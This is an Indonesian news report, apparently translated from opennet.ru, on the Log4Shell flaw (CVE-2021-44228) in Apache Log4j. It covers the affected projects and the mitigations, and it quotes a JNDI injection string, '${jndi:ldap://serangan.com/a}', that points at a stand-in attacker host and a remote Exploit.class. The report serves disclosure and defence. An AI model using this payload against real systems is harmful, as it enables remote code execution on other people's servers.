Kerentanan besar di Apache Log4j memengaruhi banyak proyek Java

Di Apache Log4j, kerangka kerja populer untuk mengatur logging di aplikasi Java, kerentanan kritis telah diidentifikasi yang memungkinkan kode arbitrer dieksekusi ketika nilai yang diformat khusus dalam format β€œ{jndi:URL}” ditulis ke log. Serangan dapat dilakukan pada aplikasi Java yang mencatat nilai yang diterima dari sumber eksternal, misalnya saat menampilkan nilai bermasalah dalam pesan kesalahan.

Perlu dicatat bahwa hampir semua proyek yang menggunakan kerangka kerja seperti Apache Struts, Apache Solr, Apache Druid, atau Apache Flink terpengaruh oleh masalah ini, termasuk klien dan server Steam, Apple iCloud, Minecraft. Kerentanan tersebut diperkirakan dapat menyebabkan gelombang serangan besar-besaran terhadap aplikasi perusahaan, mengulangi sejarah kerentanan kritis dalam kerangka Apache Struts, yang menurut perkiraan kasar, digunakan dalam aplikasi web oleh 65% Fortune. 100 perusahaan Termasuk upaya memindai jaringan untuk mencari sistem yang rentan.

Masalahnya diperburuk oleh fakta bahwa eksploitasi yang berfungsi telah dipublikasikan, namun perbaikan untuk cabang stabil belum dikompilasi. Pengidentifikasi CVE belum ditetapkan. Perbaikan hanya disertakan di cabang pengujian log4j-2.15.0-rc1. Sebagai solusi untuk memblokir kerentanan, disarankan untuk mengatur parameter log4j2.formatMsgNoLookups ke true.

Masalah ini disebabkan oleh fakta bahwa log4j mendukung pemrosesan masker khusus β€œ{}” pada baris keluaran ke log, di mana kueri JNDI (Java Naming and Directory Interface) dapat dieksekusi. Serangan tersebut dilakukan dengan meneruskan string dengan substitusi β€œ${jndi:ldap://serangan.com/a}”, setelah diproses, log4j akan mengirimkan permintaan LDAP untuk jalur ke kelas Java ke server penyerang.com . Jalur yang dikembalikan oleh server penyerang (misalnya, http://second-stage.actioner.com/Exploit.class) akan dimuat dan dieksekusi dalam konteks proses saat ini, yang memungkinkan penyerang mengeksekusi kode arbitrer di sistem dengan hak aplikasi saat ini.

Tambahan 1: Kerentanan telah diberi pengidentifikasi CVE-2021-44228.

Tambahan 2: Cara untuk melewati perlindungan yang ditambahkan oleh rilis log4j-2.15.0-rc1 telah diidentifikasi. Pembaruan baru, log4j-2.15.0-rc2, telah diusulkan dengan perlindungan yang lebih lengkap terhadap kerentanan. Kode menyoroti perubahan yang terkait dengan tidak adanya penghentian abnormal jika menggunakan URL JNDI yang diformat salah.

Sumber: opennet.ru

Tambah komentar